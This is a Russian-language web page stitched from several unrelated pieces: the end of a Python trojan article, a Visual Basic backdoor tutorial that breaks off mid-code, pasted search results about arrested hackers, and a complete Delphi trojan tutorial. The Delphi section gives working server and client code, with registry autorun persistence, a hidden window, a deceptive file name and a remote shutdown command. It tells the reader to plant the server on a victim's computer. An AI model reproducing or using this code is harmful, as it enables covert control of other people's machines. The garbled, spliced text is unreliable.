И конеч­но, сам троян очень желатель­но упа­ковать с помощью PyInstaller, что­бы не тянуть с собой на машину жер­твы питон и все зависи­мос­ти. Игра, которая тре­бует для работы уста­новить модуль для работы с поч­той, — что может боль­ше вну­шать доверие?

Заключение

Се­год­няшний тро­ян нас­толь­ко прост, что его никак нель­зя наз­вать боевым. Тем не менее он полезен для изу­чения основ язы­ка Python и понима­ния алго­рит­мов работы более слож­ных вре­донос­ных прог­рамм. Мы наде­емся, что вы ува­жаете закон, а получен­ные зна­ния о тро­янах вам никог­да не понадо­бят­ся.

В качес­тве домаш­него задания рекомен­дую поп­робовать реали­зовать двус­торон­ний тер­минал и шиф­рование дан­ных хотя бы с помощью XOR. Такой тро­ян уже будет куда инте­рес­нее, но, безус­ловно, исполь­зовать его in the wild мы не при­зыва­ем. Будьте акку­ратны и не делайте глупостей!

Собственный троян на вижл васик
В интернете полным полно всяких сайтов, на которых Вы можете скачать себе самые разнообразные трояны и вирусы. Но о большинстве из них (скорее всего) уже знают антивирусные программы. К тому же надо с опаской относиться к таким троянам, которые отсылают пароли на e-mail, т. к. их большинство дублирует письмо на e-mail автора :о) Поэтому лучше всего сделать троян самому.

Для начала разберёмся с классификацией троянов. Трояны делятся на несколько категорий: BackDoors, Nukers и т. д. В этой статье мы будим говорить о создании собственного BackDoor'а, а точнее программы скрытого удалённого администрирования. Такие программы состоят из 2-х частей: одна - сервер, а другая - клиент. На компьютер жертвы засылается сервер. Именно он скрывается от пользователя. Файл сервера при запуске автоматически копируется в каталог Windows или системный каталог, а также скрывается из диалога "Завершение работы программы", который вызывается нажатием Ctrl+Alt+Delete. Во время работы, сервер открывает какой-нибудь порт от 1-ого до 65535-ого, и ждёт там клиента. Оыбчно сервер открывает порт на TCP протоколе. После того, как клиент подключиться к серверной части, он начинает посылать ей команды. Командами являются просто сочетания символов, обычно в виде слов, чтобы автору трояна не мучиться :о) Какие именно он придумает команды - нужно только догадоваться.

Итак. Как мы и обещали, приступаем к созданию программы. Сначала напишем сервер. Для этого создаём новый проект на Visual Basic в виде стандартного EXE. Далее подключаем к нему Microsoft Winsock Control: в меню "Project"->"Components. "

Если в списке его нет, то нажмите "Browse" и выберете файл "mswinsck.ocx". Тепрь ставим на форму этот компонент. Он нам нужен для свази клиентской и серверной части по TCP протоколу. Далее изменяем форму: убираем заголовок, делаем малые размеры и visible формы ставим на False. У компонента меняем имя на "ws" и свойству LocalPort присваиваем число, которое и будет номером порта, например 123.

Теперь попробуем запустить программу. У вас ничего не должно появиться. Завершаем работу программы нажатием кнопки "стоп".

Начинаем писать код программы. В Form_Load пишем:

Private Sub Form_Load()
Do
If ws.State <> sckConnected And ws.State <> sckListening Then
ws.Close
ws.Listen
End If
DoEvents
Loop
End Sub

Здесь, если мы ни с кем не соеденины и не прослушиваем порт, закрываем связь в ws и открываем 123 порт в ожидании клиента. Условие на состояние связи в ws нужно повторять во время работы программы для того, чтобы избежать случая, который возникает при разрыве связи. Т. е. вы начинаете случать порт, затем подключается удалённый компьютер, а после его отключения порт слушаться уже не будет. Вот значения, которые может принимать свойство State:

Константа
Значение
Описание

sckClosed
0
Такое значение стоит при запуске программы или когда порт закрыт

sckOpen
1
Порт открыт

sckListening
2
Порт прослушивается

sckConnectionPending
3
Connection pending

sckResolvingHost
4
Resolving host

sckHostResolved
5
Host resolved

sckConnecting
6
Подключение к хосту

sckConnected
7
Связь установлена

sckClosing
8
Связь закрывается.. .

sckError
9
Ошибка

Теперь нужно подключить клиента. Для этого в ws_ConnectionRequest, т. е. в запросе на соединение пишем:

Private Sub ws_ConnectionRequest(ByVal requestID As Long)
ws.Close
ws.Accept requestID
End Sub

Здесь мы сначала прекрашаем слушать, а затем подсоединяем клиента по номеру его запроса. На этом код по соединению двух программ закончен. Далее разбираем код для ws_DataArrival. Он будет вызываться, когда будут приходить какие-нибудь данные от сервера.

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim Data As String
ws.GetData Data

Select Case Data
Case "BEEP"
Beep
Case "MSG"
MsgBox "Привет! ", vbInformation

Xakep Online -> В Китае поймали хакера, укравшего $100.000Сайт журнала «Хакер» : самый авторитетный ресурс рунета, посвященный вопросам информационной безопасности. В Китае поймали хакера, укравшего $100.000.
www.xakep.ru/post/24225/default.asp - 42k - Сохранено в кэше - Похожие страницы - Записать

BugTraq.Ru: В Москве поймали хакера-вымогателяВ Москве поймали хакера-вымогателя dl // 21.11.02 11:37 То ли 18-ти, то ли 20-ти то ли 28-летний житель Митино вымогал у некой американской фирмы аж 4 .
bugtraq.ru/rsn/archive/2002/11/18.html - 22k - Сохранено в кэше - Похожие страницы - Записать

PDA.Lenta.ru: Интернет: В Москве [поймали хакера-вымогателя] В Москве поймали хакера-вымогателя. В Москве задержан 18-летний житель района "Митино" Эдуард Голицын, который вымогал четыре тысячи долларов у американской .
pda.lenta.ru/internet/2002/11/20/hacker/ - 4k - Сохранено в кэше - Похожие страницы - Записать

На бирже поймали хакераCrime-Research.Ru – сайт посвященный проблемам компьютерной преступности. Популярные ссылки. Cамые свежие новости, важнейшие события и публикации.
www.crime-research.ru/news/28.12.2006/3133/ - 9k - Сохранено в кэше - Похожие страницы - Записать

В Ужгороде поймали хакера (Украина) / ROLВ Ужгороде поймали хакера (Украина) . 22 мая 2006 г. Украина. В Ужгороде сотрудники управления Службы безопасности Украины (СБУ) в Закарпатской области .
www.rol.ru/news/misc/newssng/06/05/22_169.htm - 21k - Сохранено в кэше - Похожие страницы - Записать

В Турции поймали хакера, атаковавшего американские банки и СМИ . В Турции поймали хакера, атаковавшего американские банки и СМИ, В воскресенье турецкие спецслужбы при содействии ФБР задержали хакера, ..
www.rosinvest.com/news/122924/ - 42k - Сохранено в кэше - Похожие страницы - Записать

Кировские чекисты поймали хакера, взломавшего сервер ВолгаТелеком . Кировские чекисты поймали хакера, взломавшего сервер ВолгаТелеком. Отправил: Связист. Дата публикации: 18.4.07 10:21 (Прочитали: 201) .
sviazist.nnov.ru/modules/news/article.php?storyid=2678 - 54k - Сохранено в кэше - Похожие страницы - Записать

Как создать ТРОЯН!

Для простоты тела мы сделаем это на Delphi.

Приготовься, нам предстоит написать сразу две проги. Одна будет находиться на твоей машине (клиент), другую надо будет подбросить жертве (сервер). Работы будет много, поэтому меньше слов, и ближе к телу.

Троянский сервер:
Итак, запускай Delphi или если он у тебя уже запущен, то создавай новый проект («File» – «New Application»). Сейчас мы примемся за серверную часть трояна.

Для начала выбери пункт меню «Options» из меню «Project». Перед тобой будет окно, как на рисунке 1.

Здесь ты должен перенести «From1» из раздела «Auto-Create forms» (список слева) в «Available forms» (список справа), как это сделано у меня. Только что мы отключили From1 из списка авто инициализируемых форм. Теперь инициализацию придётся произвести вручную. Не пугайся, это очень просто.

На странице «Application» этого же диалога есть кнопка «Load Icon». Нажми её, чтобы сменить иконку будущей проги. Если икону не сменить, то будет использоваться дельфячая, а она быстро выдаст твоё смертельное оружие.

Теперь ты должен бросить на форму компонент ServerSocket из раздела «Internet», это сервак протокола (по умолчанию TCP, и нам его достаточно). Выдели созданный ServerSocket1 и перейди в ObjectInspector. Здесь тебя интересует только свойство «Port». По умолчанию оно равно 1024, но я тебе советую его поменять на любое другое (желательно больше 1000).

Теперь щёлкни в любом месте на форме, чтобы активизировать её свойства. Перейди в ObjectInspector и щёлкни по закладке Events. Дважды щёлкни по строке «OnCreate» и Delphi, как всегда, создаст процедуру, она будет выполняться при инициализации формы. Напиши там следующее:

procedure TForm1.FormCreate(Sender: TObject);
var RegIni:TRegIniFile;
begin
RegIni:=TRegIniFile.Create(''Software'');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey(''Software'', true);
RegIni.OpenKey(''Microsoft'', true);
RegIni.OpenKey(''Windows'', true);
RegIni.OpenKey(''CurrentVersion'', true);
RegIni.WriteString(''RunServices'', ''Internat32.exe'',
Application.ExeName);
RegIni.Free;
ServerSocket1.Active:=true;
end;

Теперь перейди в начало текста и напиши после «uses» слово «registry». Мы уже делали такую операцию в статье про мега плеер, но я повторю, как это будет выглядеть:

uses registry, Windows, Messages,

Теперь я объясню, что мы написали в процедуре.

«var RegIni:TRegIniFile» - здесь мы объявили переменную RegIni типа TRegIniFile. С помощью этой переменной мы будем общаться с реестром.

«RegIni:=TRegIniFile.Create(''Software'')» - инициализируем переменную указывающую на реестр.

«RegIni.RootKey:=HKEY_LOCAL_MACHINE» говорим, что нас интересует раздел HKEY_CURRENT_USER реестра.

«RegIni.OpenKey(''Software'', true)» - открываю подраздел «Software».

Дальше я последовательно открываю подразделы, пробираясь в недра окошек.

«RegIni.WriteString(''RunServices'', ''Internat32.exe'', Application.ExeName)” – записываю в раздел «RunServices» (в этом разделе хранятся проги, которые автоматически загружаются при старте), новый параметр с именем «Internat32.exe» (имя будущего файла) и значением Application.ExeName (здесь храниться полный путь к запущенному трояну).

«RegIni.Free» - уничтожаю ненужный больше объект RegIni.

Всё это делалось, чтобы при запуске проги, она сама себя прописывала в разделе автозапуска. И после перезагрузки компьютера она автоматически загружалась в память.

Самая последняя строка «ServerSocket1.Active:=true» запускает сервер на указанном тобой порте.

С загрузкой покончено. Теперь давай займёмся выгрузкой. Опять выдели форму и в закладке Events у ObjectInspector-а дважды щёлкни по строке «OnDistroy». Теперь создастся процедура, которая будет выполняться при уничтожении формы. В созданной процедуре напиши:

procedure TForm1.FormDistroy(Sender: TObject; var Action: TCloseAction);
begin
ServerSocket1.Active:=false;
end;

Этим я отключаю сервак. Если этого не сделать, то при первой же перезагрузке твоя жертва может поймать синий экран, если ты в это время будешь подключён к серверу. С одной стороны, это хорошо. Твоя жертва в очередной раз убеждается в плохой защищённости его окошек. А с другой, я не думаю, что следует выдавать себя раньше времени. Тем более, что после синего экрана перезагрузка может остановиться, а нам это не надо (забегу вперёд и скажу, что мы сами будем перегружать компьютер жертвы).

Теперь нужно выделить ServerSocket1 и перейти на закладку Events у ObjectInspector-а. Дважды щёлкни по строке «OnClientRead» и в созданной процедуре (она будет вызываться, когда что-нибудь приходит на порт) напиши:

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
begin
if Socket.ReceiveText =''R'' then
ExitWindowsEx(EWX_SHUTDOWN,0);
end;

Теперь, как это звучит по-нашему:

Если полученный текст = букве ‘R’ то
Отправить компьютер в редаун.

ExitWindowsEx – редаун заставит окна свернуться и отключить компьютер от питания. Я вообще добрый дядька, поэтому использовал параметр EWX_SHUTDOWN. С этим параметром, перед редауном всем запущенным приложениям полетит запрос о выключении, и жертва сможет сохранить свои изменённые данные. Если ты злей меня, то используй EWX_FORCE. В этом случае, компьютер упадёт без предупреждения и со скоростью света, так что жертва не успеет от страха воздух испортит :).

Троян практически готов, сохрани его. Для этого выбери «Save All» из меню «File». С начала Delphi запросит имя формы. Оставь по умолчанию (Unit1) и нажми «Сохранить». Потом будет запрос на имя проекта, которое будет использоваться в качестве имени ЕХЕ файла. Назови его «Internat32», чтобы файл не вызывал особых подозрений.

Конюшня для коня:
Теперь ты должен хорошенечко спрятать своего будущего скакуна, чтоб его не было видно в панели задач. Для этого выбери пункт меню «Project Manager» из меню «View». Перед тобой откроется окно, как на рисунке 2.

Щёлкни правой кнопкой по Internat32.exe и в появившемся меню выбери «View Source». Перед тобой откроется маленький файл с исходным текстом проекта. Сравни то, что ты увидишь с этим текстом, и допиши то, чего не хватает, а что лишнее – убери (так не так уж и много):

uses
Forms,
Windows.
Unit1 in ''Unit1.pas'' ;

var
WhEvent:THandle;
begin
Application.Initialize;
ShowWindow(Application.Handle,SW_Hide);
Form1:=TForm1.Create(nil);
Application.Run;

WhEvent:=CreateEvent(nil, true,false, ''et'');
while (true) do
begin
WaitForSingleObject(WhEvent,1000);
Application.ProcessMessages;
end;
end.

Будь внимателен при переписывании. Всё должно быть один к одному. Теперь я расскажу, что здесь написано:

В самом начале нет ничего интересного, и нас абсолютно не касается. Нас интересует всё, что написано после слова «Var».

WhEvent:THandle – Этим я говорю, что мне нужен указатель WhEvent на пустое событие Thandle.

Application.Initialize – Инициализируется троян.

ShowWindow(Application.Handle, SW_Hide) – Устанавливаю параметры окна. Параметр SW_Hide – говорит, что окно должно быть невидимо. Единственное, как его можно после этого увидеть, так это нажать Ctrl+Alt+Del. Но здесь у нас используется не вызывающее подозрения (только у чайника, профи уже давно знают, о таком имени) имя.

Form1:=TForm1.Create(nil) – создаю форму. Мне приходится это делать так, потому что мы убрали форму из из списка авто создаваемых.

Application.Run – запускаю трояна. Здесь запускаются обработчики событий и прочая ерунда, за которую отвечает Delphi и которую пришлось бы писать вручную на С или С++. А здесь всё очень просто.

WhEvent:=CreateEvent(nil, true,false, ''et'') – инициализация пустого события.

Следующие пять строчек я напишу словами, а ты разберёшься как всегда методом сравнения:

Пока (true) выполнять
Начать цикл
Ждать пока наступит событие (пустое событие, 1000 миллисекунд)
Получить управление
Закончить цикл

Две строчки между началом и концом цикла будет выполняться бесконечно, потому что true оно всегда true, и из этого цикла выхода нет. Весь цикл заключаеться в двух особенностях:

1. Запускается ожидание несуществующего события. Так как событие не существует, то программа прождёт его ровно указанное время в качестве второго параметра (1000 миллисекунд или 1 секунда).

2. Получить управление.

После второго шага программа снова перейдёт на пункт 1 и запустит ожидание. Во время ожидания пользователь работает с другими приложениями как всегда. Когда трояну (каждую 1 секунду) передаётся управление, то наш конь проверяет: есть ли для него сообщения. В нашем случае сообщение может быть одно – приход на указанный тобой порт управляющей команды. Если сообщения есть, то троян их выполняет. И в любом случае (есть сообщения или нет), после этого пользователь снова работает 1 секунду без проблем. Проверка происходит так быстро, что жертва не ощутит нагрузки трояна даже на четверке с сотым камнем.

Нажми «Ctrl+F9» чтобы Delphi создал .ехе файл без запуска проги. Как только Delphi перемозгует весь код, можешь считать, что серверная часть готова. Если вздумаешь её тестировать, то не забудь, что после первого же запуска троян пропишется в реестре по адресу: HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices. Не забудь после тестирования его удалить.

Теперь переходим к клиентской части, которую ты должен будешь запустить на своём компьютере для управления компьютером жертвы.

Троянский всадник:
Снова сохрани все изменения и создай новый проект. Пришло время писать клиентскую часть трояна. Ещё пару минут напряжённого труда и все красавицы наши :).

На новый проект ты должен бросить три компонента:

1. Button из закладки «Standart» для отправки команды на компьютер жертвы.

2. Edit из закладки «Standart» для ввода имени или адреса жертвы.

3. ClientSocket из закладки «Internet» клиент порта для связи с сервером

Посмотри на рисунок 3, у тебя должно получиться нечто похожее.

Выдели ClientSocket1 и в ObjectInspector-е измени свойство порт. По умолчанию он 0, а ты должен поставить тот, который ты назначил серверу.

Теперь дважды щёлкни по кнопке и в созданной процедуре (обработчике нажатия кнопки) напиши следующее.

procedure TForm1.Button1Click(Sender: TObject);
begin
ClientSocket1.Host:=Edit1.Text;
ClientSocket1.Active:=true;
ClientSocket1.Socket.SendText(''R'');
ClientSocket1.Active:=false;
end;

ClientSocket1.Host:=Edit1.Text – В ClientSocket1 заносим имя жертвы в твоей локалке. Если собираешься использовать троян в инете, то там ты имя никак не сможешь узнать. Тебе придётся использовать IP адрес, а значит эта строчка замениться на ClientSocket1.Addres:=Edit1.Text. И вводить в Edit1 ты должен будешь IP адрес.

ClientSocket1.Active:=true – активировать соединение с сервером.

ClientSocket1.Socket.SendText(''R'') – отправить букву R. Помнишь, что у нас было пару минут назад. Если сервер получит букву R, то он перегрузит машину.

ClientSocket1.Active:=false – закрыть соединение с сервером.

Всё. Троян готов к бою. Нажми «Ctrl+F9» чтобы Delphi создал ЕХЕ файл без запуска проги. Найди жертву и протестируй своего верного коня. Для этого нужно запустить серверную часть на компьютере жертвы. Потом запустить клиентскую часть на своём компьютере. Ввести в клиент имя компьютера жертвы (или адрес, если ты скомпилировал под использование через IP) и нажать кнопку. Компьютер жертвы должен перегрузится.

Читайте также: